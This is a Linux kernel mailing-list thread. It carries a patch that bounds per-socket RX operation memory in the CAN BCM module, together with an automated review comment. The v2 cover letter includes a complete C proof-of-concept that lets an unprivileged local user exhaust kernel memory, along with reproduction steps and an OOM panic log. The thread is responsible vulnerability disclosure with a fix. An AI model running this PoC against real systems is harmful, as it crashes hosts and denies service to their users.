-474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > rcv->data = data; > rcv->ident = ident; > rcv->sk = sk; > + rcv->release = release; > > hlist_add_head_rcu(&rcv->list, rcv_list); > dev_rcv_lists->entries++; > @@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > > return 0; > } > + > +int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > + canid_t mask, void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk) > +{ > + return can_rx_register_internal(net, dev, can_id, mask, func, data, > + ident, sk, NULL); > +} > EXPORT_SYMBOL(can_rx_register); > > +int can_rx_register_with_release(struct net *net, struct net_device *dev, > + canid_t can_id, canid_t mask, > + void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk, > + void (*release)(struct sock *sk)) > +{ > + return can_rx_register_internal(net, dev, can_id, mask, func, data, > + ident, sk, release); > +} > +EXPORT_SYMBOL(can_rx_register_with_release); > + > /* can_rx_delete_receiver - rcu callback for single receiver entry removal */ > static void can_rx_delete_receiver(struct rcu_head *rp) > { > struct receiver *rcv = container_of(rp, struct receiver, rcu); > struct sock *sk = rcv->sk; > + void (*release)(struct sock *sk) = rcv->release; > > kmem_cache_free(rcv_cache, rcv); > + if (release) > + release(sk); > if (sk) > sock_put(sk); > } > diff --git a/net/can/af_can.h b/net/can/af_can.h > index 87887014f562..2fa4cf8c1314 100644 > --- a/net/can/af_can.h > +++ b/net/can/af_can.h > @@ -57,6 +57,7 @@ struct receiver { > void *data; > char *ident; > struct sock *sk; > + void (*release)(struct sock *sk); > struct rcu_head rcu; > }; > > diff --git a/net/can/bcm.c b/net/can/bcm.c > index 3d637a1e0ac1..96d3f050dec5 100644 > --- a/net/can/bcm.c > +++ b/net/can/bcm.c > @@ -58,6 +58,7 @@ > #include <linux/can/skb.h> > #include <linux/can/bcm.h> > #include <linux/slab.h> > +#include <linux/overflow.h> > #include <linux/workqueue.h> > #include <linux/spinlock.h> > #include <net/can.h> > @@ -127,6 +128,7 @@ struct bcm_op { > void *last_frames; > struct canfd_frame sframe; > struct canfd_frame last_sframe; > + size_t rx_mem; > struct sock *sk; > struct net_device *rx_reg_dev; > netdevice_tracker rx_reg_dev_tracker; > @@ -141,6 +143,9 @@ struct bcm_sock { > struct list_head notifier; > struct list_head rx_ops; > struct list_head tx_ops; > + unsigned int rx_op_count; > + size_t rx_mem_used; > + atomic_t rx_receiver_count; > unsigned long dropped_usr_msgs; > struct proc_dir_entry *bcm_proc_read; > char procname [32]; /* inode number in decimal with \0 */ > @@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head) > #define OPSIZ sizeof(struct bcm_op) > #define MHSIZ sizeof(struct bcm_msg_head) > > +/* Bound the resources consumed by RX operations on one BCM socket. */ > +#define BCM_MAX_RX_OPS 1024 > +#define BCM_MAX_RX_MEM (16 * 1024 * 1024) > + > /* > * procfs functions > */ > @@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops, > return NULL; > } > > +/* Called with the socket lock held. */ > +static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem) > +{ > + if (bo->rx_op_count >= BCM_MAX_RX_OPS || > + rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used) > + return false; > + > + bo->rx_op_count++; > + bo->rx_mem_used += rx_mem; > + return true; > +} > + > +/* Called with the socket lock held. */ > +static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem) > +{ > + if (!rx_mem) > + return; > + > + if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem)) > + return; > + > + bo->rx_op_count--; > + bo->rx_mem_used -= rx_mem; > +} > + > +static void bcm_rx_receiver_release(struct sock *sk) > +{ > + struct bcm_sock *bo = bcm_sk(sk); > + > + WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0); > +} > + > +/* Called with the socket lock held. */ > +static int bcm_rx_register(struct bcm_op *op, struct net_device *dev) > +{ > + struct bcm_sock *bo = bcm_sk(op->sk); > + int err; > + > + if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) { > + atomic_dec(&bo->rx_receiver_count); > + return -ENOBUFS; > + } > + > + err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id, > + REGMASK(op->can_id), bcm_rx_handler, > + op, "bcm", op->sk, > + bcm_rx_receiver_release); > + if (err) > + atomic_dec(&bo->rx_receiver_count); > + > + return err; > +} > + > static void bcm_free_op_work(struct work_struct *work) > { > struct bcm_op *op = container_of(work, struct bcm_op, work); > + struct sock *sk = op->sk; > + size_t rx_mem = op->rx_mem; > > hrtimer_cancel(&op->timer); > hrtimer_cancel(&op->thrtimer); > @@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work) > if ((op->last_frames) && (op->last_frames != &op->last_sframe)) > kfree(op->last_frames); > > - /* the last possible access to op->timer/op->thrtimer has now > - * happened above via hrtimer_cancel() - op->sk is no longer > - * needed by any pending timer callback, so drop our reference > + kfree(op); > + /* > + * Keep the RX budget charged until the operation and its frame arrays > + * have actually been freed. op->sk holds a reference while this work is > + * pending, so the socket remains valid while updating its accounting. > */ > - sock_put(op->sk); > + if (rx_mem) { > + lock_sock(sk); > + bcm_rx_op_uncharge(bcm_sk(sk), rx_mem); > + release_sock(sk); > + } > > - kfree(op); > + /* Drop the reference held for the operation and any pending timer. */ > + sock_put(sk); > } > > static void bcm_free_op_rcu(struct rcu_head *rcu_head) > @@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > { > struct bcm_sock *bo = bcm_sk(sk); > struct bcm_op *op; > + size_t rx_mem, frames_size, arrays_size; > int do_rx_register; > int new_op = 0; > int err = 0; > @@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0; > > } else { > + /* > + * Charge the operation and its frame arrays before allocating > + * them or registering a CAN receiver. nframes is already bounded > + * above, but keep the size arithmetic explicitly overflow-safe. > + */ > + rx_mem = sizeof(*op); > + if (msg_head->nframes > 1) { > + if (check_mul_overflow((size_t)msg_head->nframes, > + (size_t)CFSIZ(msg_head->flags), > + &frames_size) || > + check_mul_overflow(frames_size, (size_t)2, > + &arrays_size) || > + check_add_overflow(rx_mem, arrays_size, &rx_mem)) > + return -EOVERFLOW; > + } > + > + if (!bcm_rx_op_charge(bo, rx_mem)) > + return -ENOBUFS; > + > /* insert new BCM operation for the given can_id */ > op = kzalloc(OPSIZ, GFP_KERNEL); > - if (!op) > + if (!op) { > + bcm_rx_op_uncharge(bo, rx_mem); > return -ENOMEM; > + } > > spin_lock_init(&op->bcm_tx_lock); > spin_lock_init(&op->bcm_rx_update_lock); > @@ -1425,26 +1518,22 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > op->nframes = msg_head->nframes; > op->cfsiz = CFSIZ(msg_head->flags); > op->flags = msg_head->flags; > + op->rx_mem = rx_mem; > > if (msg_head->nframes > 1) { > /* create array for CAN frames and copy the data */ > op->frames = kmalloc_array(msg_head->nframes, > op->cfsiz, > GFP_KERNEL); > - if (!op->frames) { > - kfree(op); > - return -ENOMEM; > - } > + if (!op->frames) > + goto free_op; > > /* create and init array for received CAN frames */ > op->last_frames = kcalloc(msg_head->nframes, > op->cfsiz, > GFP_KERNEL); > - if (!op->last_frames) { > - kfree(op->frames); > - kfree(op); > - return -ENOMEM; > - } > + if (!op->last_frames) > + goto free_op; > > } else { > op->frames = &op->sframe; > @@ -1532,11 +1621,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > dev = dev_get_by_index(sock_net(sk), ifindex); > if (dev) { > - err = can_rx_register(sock_net(sk), dev, > - op->can_id, > - REGMASK(op->can_id), > - bcm_rx_handler, op, > - "bcm", sk); > + err = bcm_rx_register(op, dev); > > /* keep a tracked reference so that a later > * unregister can safely reach the device even > @@ -1558,9 +1643,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > } > > } else { > - err = can_rx_register(sock_net(sk), NULL, op->can_id, > - REGMASK(op->can_id), > - bcm_rx_handler, op, "bcm", sk); > + err = bcm_rx_register(op, NULL); > } > > if (err) { > @@ -1593,6 +1676,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > if (op->last_frames != &op->last_sframe) > kfree(op->last_frames); > kfree(op); > + bcm_rx_op_uncharge(bo, rx_mem); > return err; > } > > @@ -1896,6 +1980,7 @@ static int bcm_init(struct sock *sk) > bo->ifindex = 0; > bo->dropped_usr_msgs = 0; > bo->bcm_proc_read = NULL; > + atomic_set(&bo->rx_receiver_count, 0); > > INIT_LIST_HEAD(&bo->tx_ops); > INIT_LIST_HEAD(&bo->rx_ops); ^ permalink raw reply [flat|nested] 13+ messages in thread
* [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources 2026-10-27 11:18 [PATCH net 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi 2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi @ 2026-10-28 13:43 ` Zihan Xi 2026-10-28 13:43 ` [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi 1 sibling, 1 reply; 13+ messages in thread From: Zihan Xi @ 2026-10-28 13:43 UTC (permalink / raw) To: linux-can, mkl, socketcan; +Cc: urs.thuermann, davem, vega, zihanx Hi Linux kernel maintainers, We found an issue in net/can/bcm.c. The bug is reachable by an unprivileged local user. The relevant details are provided below. ---- details below ---- An LLM was used to help create this patch. This bug is tracked at: https://bugtracker.nebusec.ai/f/11134 (11134) Bug details: bcm_rx_setup() limits frames in one operation but not the number of operations attached to a socket. Distinct CAN IDs create distinct operations; with ifindex 0, a local unprivileged process needs no CAN device. CAN-FD operations allocate frame arrays and CAN receiver objects outside socket buffer accounting, allowing repeated requests to consume kernel memory. Limit each socket to 1024 RX operations/receivers and 16 MiB of BCM operation and frame-array allocations. Keep operation charges until the operation is freed, and receiver charges until CAN-core RCU reclamation frees each receiver. Reject requests over the limits with -ENOBUFS. Changes in v2: Set the error to -ENOMEM when either RX frame-array allocation fails, before entering the common cleanup path. This ensures the send syscall reports the allocation failure instead of returning success. Both frame-array allocation failure paths were exercised with guest fail_page_alloc injection. Reproducer: Build the included PoC source with: cc -O2 -Wall -Wextra -o poc poc.c In the guest's initial user and network namespaces, as root, configure OOM panic to capture the crash: echo 0 > /proc/sys/kernel/panic_on_warn echo 2 > /proc/sys/vm/panic_on_oom echo 0 > /proc/sys/vm/oom_kill_allocating_task Then, as the unprivileged guest user test_user (UID 1001), run: ./poc 0 1000 No namespace setup, added capabilities, or CAN device is required; the socket uses ifindex 0. Root is used only to set the OOM sysctls. We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN PoC------ #define _GNU_SOURCE #include <errno.h> #include <inttypes.h> #include <linux/can.h> #include <linux/can/bcm.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #define BCM_NFRAMES 257U #define DEFAULT_PROGRESS_STEP 1000U struct rx_setup_req { struct bcm_msg_head head; struct canfd_frame frames[BCM_NFRAMES]; }; static void die(const char *what) { perror(what); exit(EXIT_FAILURE); } static unsigned long parse_ul(const char *arg, const char *name) { char *end = NULL; unsigned long value; errno = 0; value = strtoul(arg, &end, 0); if (errno || !end || *end != '\0') { fprintf(stderr, "invalid %s: %s\n", name, arg); exit(EXIT_FAILURE); } return value; } int main(int argc, char **argv) { unsigned long max_ops = 0; unsigned long progress_step = DEFAULT_PROGRESS_STEP; unsigned long hold_seconds = 0; struct sockaddr_can addr = { .can_family = AF_CAN, .can_ifindex = 0, }; struct rx_setup_req *req; size_t req_len; unsigned long i; int fd; if (argc > 1) max_ops = parse_ul(argv[1], "max_ops"); if (argc > 2) progress_step = parse_ul(argv[2], "progress_step"); if (argc > 3) hold_seconds = parse_ul(argv[3], "hold_seconds"); if (!progress_step) progress_step = DEFAULT_PROGRESS_STEP; req = aligned_alloc(8, sizeof(*req)); if (!req) die("aligned_alloc"); memset(req, 0, sizeof(*req)); req->head.opcode = RX_SETUP; req->head.flags = CAN_FD_FRAME; req->head.nframes = BCM_NFRAMES; for (i = 0; i < BCM_NFRAMES; i++) { req->frames[i].len = CANFD_MAX_DLEN; memset(req->frames[i].data, (int)i, sizeof(req->frames[i].data)); } req_len = sizeof(*req); fd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM); if (fd < 0) die("socket(PF_CAN, SOCK_DGRAM, CAN_BCM)"); if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("connect(AF_CAN, ifindex=0)"); for (i = 0; !max_ops || i < max_ops; i++) { ssize_t written; uint32_t id = (uint32_t)((i + 1) & CAN_EFF_MASK); req->head.can_id = CAN_EFF_FLAG | id; written = send(fd, req, req_len, 0); if (written < 0) { fprintf(stderr, "send failed after %lu RX_SETUP operations: %s\n", i, strerror(errno)); return EXIT_FAILURE; } if ((i + 1) % progress_step == 0) { fprintf(stderr, "installed=%lu bytes_per_req=%zu total_payload=%" PRIu64 "\n", i + 1, req_len, (uint64_t)(i + 1) * req_len); } } fprintf(stderr, "completed %lu RX_SETUP operations without send failure\n", i); if (hold_seconds) { fprintf(stderr, "holding socket open for %lu seconds\n", hold_seconds); sleep(hold_seconds); } return EXIT_SUCCESS; } ------END PoC-------- ----BEGIN crash log---- The stack below is decoded with source locations from the DWARF5, reduced-debug-info build. The guest OOM was triggered during `bcm_sendmsg()` allocation at `net/can/bcm.c:1431`. [ 95.493290][ T9374] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=3, oom_score_adj=0 [ 95.493324][ T9374] Call Trace: [ 95.493466][ T9374] dump_header (mm/oom_kill.c:464) [ 95.493544][ T9374] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143) [ 95.493555][ T9374] ? __pfx_out_of_memory (mm/oom_kill.c:835) [ 95.493567][ T9374] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449) [ 95.493636][ T9374] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022) [ 95.493866][ T9374] __kmalloc_noprof (mm/slub.c:5402 mm/slub.c:5439) [ 95.493899][ T9374] ? bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739) [ 95.493920][ T9374] bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739) [ 95.493933][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528) [ 95.493971][ T9374] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1)) [ 95.494018][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528) [ 95.494027][ T9374] ? __pfx___sys_sendto (net/socket.c:2235) [ 95.497355][ T9374] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled -----END crash log----- Best regards, Zihan Xi Zihan Xi (1): can: bcm: limit RX operation resource usage per socket include/linux/can/core.h | 7 +++ net/can/af_can.c | 34 ++++++++++- net/can/af_can.h | 1 + net/can/bcm.c | 127 +++++++++++++++++++++++++++++++++------ 4 files changed, 147 insertions(+), 22 deletions(-) -- 2.43.0 ^ permalink raw reply [flat|nested] 13+ messages in thread
* [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-28 13:43 ` [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi @ 2026-10-28 13:43 ` Zihan Xi 2026-10-28 13:53 ` sashiko-bot 2026-10-28 15:04 ` Oliver Hartkopp 0 siblings, 2 replies; 13+ messages in thread From: Zihan Xi @ 2026-10-28 13:43 UTC (permalink / raw) To: linux-can, mkl, socketcan; +Cc: urs.thuermann, davem, vega, zihanx BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory. Bound the number and aggregate allocation size of RX operations per socket. Keep the charge until the operation and its frame arrays are freed. Also keep a receiver count charged until the CAN core releases the receiver after its RCU grace period, so repeated setup/delete requests cannot bypass the limits while callbacks are pending. Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges. Fixes: ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol") Cc: stable@vger.kernel.org Reported-by: Vega <vega@nebusec.ai> Link: https://bugtracker.nebusec.ai/f/11134 Signed-off-by: Zihan Xi <zihanx@nebusec.ai> --- include/linux/can/core.h | 7 +++ net/can/af_can.c | 34 ++++++++++- net/can/af_can.h | 1 + net/can/bcm.c | 127 +++++++++++++++++++++++++++++++++------ 4 files changed, 147 insertions(+), 22 deletions(-) diff --git a/include/linux/can/core.h b/include/linux/can/core.h index 2de74c2b78b6..89b9d0a2dcc1 100644 --- a/include/linux/can/core.h +++ b/include/linux/can/core.h @@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev, void (*func)(struct sk_buff *, void *), void *data, char *ident, struct sock *sk); +/* release runs from an RCU callback and must not sleep. */ +int can_rx_register_with_release(struct net *net, struct net_device *dev, + canid_t can_id, canid_t mask, + void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk, + void (*release)(struct sock *sk)); + extern void can_rx_unregister(struct net *net, struct net_device *dev, canid_t can_id, canid_t mask, void (*func)(struct sk_buff *, void *), diff --git a/net/can/af_can.c b/net/can/af_can.c index 34fe3b28d576..a3f0ed35fbb5 100644 --- a/net/can/af_can.c +++ b/net/can/af_can.c @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, * -ENOMEM on missing cache mem to create subscription entry * -ENODEV unknown device */ -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, - canid_t mask, void (*func)(struct sk_buff *, void *), - void *data, char *ident, struct sock *sk) +static int can_rx_register_internal(struct net *net, struct net_device *dev, + canid_t can_id, canid_t mask, + void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk, + void (*release)(struct sock *sk)) { struct receiver *rcv; struct hlist_head *rcv_list; struct can_dev_rcv_lists *dev_rcv_lists; struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats; + if (release && !sk) + return -EINVAL; + /* insert new receiver (dev,canid,mask) -> (func,data) */ if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev))) @@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, rcv->data = data; rcv->ident = ident; rcv->sk = sk; + rcv->release = release; hlist_add_head_rcu(&rcv->list, rcv_list); dev_rcv_lists->entries++; @@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, return 0; } + +int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, + canid_t mask, void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk) +{ + return can_rx_register_internal(net, dev, can_id, mask, func, data, + ident, sk, NULL); +} EXPORT_SYMBOL(can_rx_register); +int can_rx_register_with_release(struct net *net, struct net_device *dev, + canid_t can_id, canid_t mask, + void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk, + void (*release)(struct sock *sk)) +{ + return can_rx_register_internal(net, dev, can_id, mask, func, data, + ident, sk, release); +} +EXPORT_SYMBOL(can_rx_register_with_release); + /* can_rx_delete_receiver - rcu callback for single receiver entry removal */ static void can_rx_delete_receiver(struct rcu_head *rp) { struct receiver *rcv = container_of(rp, struct receiver, rcu); struct sock *sk = rcv->sk; + void (*release)(struct sock *sk) = rcv->release; kmem_cache_free(rcv_cache, rcv); + if (release) + release(sk); if (sk) sock_put(sk); } diff --git a/net/can/af_can.h b/net/can/af_can.h index 87887014f562..2fa4cf8c1314 100644 --- a/net/can/af_can.h +++ b/net/can/af_can.h @@ -57,6 +57,7 @@ struct receiver { void *data; char *ident; struct sock *sk; + void (*release)(struct sock *sk); struct rcu_head rcu; }; diff --git a/net/can/bcm.c b/net/can/bcm.c index 3d637a1e0ac1..477bdc1e8745 100644 --- a/net/can/bcm.c +++ b/net/can/bcm.c @@ -58,6 +58,7 @@ #include <linux/can/skb.h> #include <linux/can/bcm.h> #include <linux/slab.h> +#include <linux/overflow.h> #include <linux/workqueue.h> #include <linux/spinlock.h> #include <net/can.h> @@ -127,6 +128,7 @@ struct bcm_op { void *last_frames; struct canfd_frame sframe; struct canfd_frame last_sframe; + size_t rx_mem; struct sock *sk; struct net_device *rx_reg_dev; netdevice_tracker rx_reg_dev_tracker; @@ -141,6 +143,9 @@ struct bcm_sock { struct list_head notifier; struct list_head rx_ops; struct list_head tx_ops; + unsigned int rx_op_count; + size_t rx_mem_used; + atomic_t rx_receiver_count; unsigned long dropped_usr_msgs; struct proc_dir_entry *bcm_proc_read; char procname [32]; /* inode number in decimal with \0 */ @@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head) #define OPSIZ sizeof(struct bcm_op) #define MHSIZ sizeof(struct bcm_msg_head) +/* Bound the resources consumed by RX operations on one BCM socket. */ +#define BCM_MAX_RX_OPS 1024 +#define BCM_MAX_RX_MEM (16 * 1024 * 1024) + /* * procfs functions */ @@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops, return NULL; } +/* Called with the socket lock held. */ +static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem) +{ + if (bo->rx_op_count >= BCM_MAX_RX_OPS || + rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used) + return false; + + bo->rx_op_count++; + bo->rx_mem_used += rx_mem; + return true; +} + +/* Called with the socket lock held. */ +static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem) +{ + if (!rx_mem) + return; + + if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem)) + return; + + bo->rx_op_count--; + bo->rx_mem_used -= rx_mem; +} + +static void bcm_rx_receiver_release(struct sock *sk) +{ + struct bcm_sock *bo = bcm_sk(sk); + + WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0); +} + +/* Called with the socket lock held. */ +static int bcm_rx_register(struct bcm_op *op, struct net_device *dev) +{ + struct bcm_sock *bo = bcm_sk(op->sk); + int err; + + if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) { + atomic_dec(&bo->rx_receiver_count); + return -ENOBUFS; + } + + err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id, + REGMASK(op->can_id), bcm_rx_handler, + op, "bcm", op->sk, + bcm_rx_receiver_release); + if (err) + atomic_dec(&bo->rx_receiver_count); + + return err; +} + static void bcm_free_op_work(struct work_struct *work) { struct bcm_op *op = container_of(work, struct bcm_op, work); + struct sock *sk = op->sk; + size_t rx_mem = op->rx_mem; hrtimer_cancel(&op->timer); hrtimer_cancel(&op->thrtimer); @@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work) if ((op->last_frames) && (op->last_frames != &op->last_sframe)) kfree(op->last_frames); - /* the last possible access to op->timer/op->thrtimer has now - * happened above via hrtimer_cancel() - op->sk is no longer - * needed by any pending timer callback, so drop our reference + kfree(op); + /* + * Keep the RX budget charged until the operation and its frame arrays + * have actually been freed. op->sk holds a reference while this work is + * pending, so the socket remains valid while updating its accounting. */ - sock_put(op->sk); + if (rx_mem) { + lock_sock(sk); + bcm_rx_op_uncharge(bcm_sk(sk), rx_mem); + release_sock(sk); + } - kfree(op); + /* Drop the reference held for the operation and any pending timer. */ + sock_put(sk); } static void bcm_free_op_rcu(struct rcu_head *rcu_head) @@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, { struct bcm_sock *bo = bcm_sk(sk); struct bcm_op *op; + size_t rx_mem, frames_size, arrays_size; int do_rx_register; int new_op = 0; int err = 0; @@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0; } else { + /* + * Charge the operation and its frame arrays before allocating + * them or registering a CAN receiver. nframes is already bounded + * above, but keep the size arithmetic explicitly overflow-safe. + */ + rx_mem = sizeof(*op); + if (msg_head->nframes > 1) { + if (check_mul_overflow((size_t)msg_head->nframes, + (size_t)CFSIZ(msg_head->flags), + &frames_size) || + check_mul_overflow(frames_size, (size_t)2, + &arrays_size) || + check_add_overflow(rx_mem, arrays_size, &rx_mem)) + return -EOVERFLOW; + } + + if (!bcm_rx_op_charge(bo, rx_mem)) + return -ENOBUFS; + /* insert new BCM operation for the given can_id */ op = kzalloc(OPSIZ, GFP_KERNEL); - if (!op) + if (!op) { + bcm_rx_op_uncharge(bo, rx_mem); return -ENOMEM; + } spin_lock_init(&op->bcm_tx_lock); spin_lock_init(&op->bcm_rx_update_lock); @@ -1425,6 +1518,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, op->nframes = msg_head->nframes; op->cfsiz = CFSIZ(msg_head->flags); op->flags = msg_head->flags; + op->rx_mem = rx_mem; if (msg_head->nframes > 1) { /* create array for CAN frames and copy the data */ @@ -1432,8 +1526,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, op->cfsiz, GFP_KERNEL); if (!op->frames) { - kfree(op); - return -ENOMEM; + err = -ENOMEM; + goto free_op; } /* create and init array for received CAN frames */ @@ -1441,9 +1535,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, op->cfsiz, GFP_KERNEL); if (!op->last_frames) { - kfree(op->frames); - kfree(op); - return -ENOMEM; + err = -ENOMEM; + goto free_op; } } else { @@ -1532,11 +1625,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, dev = dev_get_by_index(sock_net(sk), ifindex); if (dev) { - err = can_rx_register(sock_net(sk), dev, - op->can_id, - REGMASK(op->can_id), - bcm_rx_handler, op, - "bcm", sk); + err = bcm_rx_register(op, dev); /* keep a tracked reference so that a later * unregister can safely reach the device even @@ -1558,9 +1647,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, } } else { - err = can_rx_register(sock_net(sk), NULL, op->can_id, - REGMASK(op->can_id), - bcm_rx_handler, op, "bcm", sk); + err = bcm_rx_register(op, NULL); } if (err) { @@ -1593,6 +1680,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, if (op->last_frames != &op->last_sframe) kfree(op->last_frames); kfree(op); + bcm_rx_op_uncharge(bo, rx_mem); return err; } @@ -1896,6 +1984,7 @@ static int bcm_init(struct sock *sk) bo->ifindex = 0; bo->dropped_usr_msgs = 0; bo->bcm_proc_read = NULL; + atomic_set(&bo->rx_receiver_count, 0); INIT_LIST_HEAD(&bo->tx_ops); INIT_LIST_HEAD(&bo->rx_ops); -- 2.43.0 ^ permalink raw reply related [flat|nested] 13+ messages in thread
* Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-28 13:43 ` [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi @ 2026-10-28 13:53 ` sashiko-bot 2026-10-28 14:14 ` zihan xi 2026-10-28 15:04 ` Oliver Hartkopp 1 sibling, 1 reply; 13+ messages in thread From: sashiko-bot @ 2026-10-28 13:53 UTC (permalink / raw) To: Zihan Xi, linux-can Cc: Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol, Oleksij Rempel Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider: - [Low] can: misplaced kernel-doc comment above can_rx_register_internal() -- commit 6e185f899c0a564d22495ef1e055cc4b9c9b27f0 Author: Zihan Xi <zihanx@nebusec.ai> can: bcm: limit RX operation resource usage per socket This patch bounds the number and total allocation size of RX operations per BCM socket to prevent kernel memory exhaustion. It also introduces can_rx_register_with_release() so the socket's receiver count remains charged until the RCU grace period completes. Link: https://bugtracker.nebusec.ai/f/11134 > diff --git a/net/can/af_can.c b/net/can/af_can.c > index 34fe3b28d576f..a3f0ed35fbb52 100644 > --- a/net/can/af_can.c > +++ b/net/can/af_can.c > @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, > * -ENOMEM on missing cache mem to create subscription entry > * -ENODEV unknown device > */ > -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > - canid_t mask, void (*func)(struct sk_buff *, void *), > - void *data, char *ident, struct sock *sk) > +static int can_rx_register_internal(struct net *net, struct net_device *dev, > + canid_t can_id, canid_t mask, > + void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk, > + void (*release)(struct sock *sk)) [Severity: Low] When splitting can_rx_register() into can_rx_register_internal() and the exported wrapper in net/can/af_can.c, can_rx_register_internal() is placed directly beneath the existing kernel-doc comment for can_rx_register(): /** * can_rx_register - subscribe CAN frames from a specific interface ... */ static int can_rx_register_internal(struct net *net, struct net_device *dev, canid_t can_id, canid_t mask, void (*func)(struct sk_buff *, void *), void *data, char *ident, struct sock *sk, void (*release)(struct sock *sk)) Doesn't this cause scripts/kernel-doc (under W=1 builds) to warn that the prototype is for can_rx_register_internal() instead of can_rx_register() and that the release parameter is not described? Should the kernel-doc comment be moved down to the exported can_rx_register() wrapper (or updated to match the function it precedes)? -- Sashiko AI review · 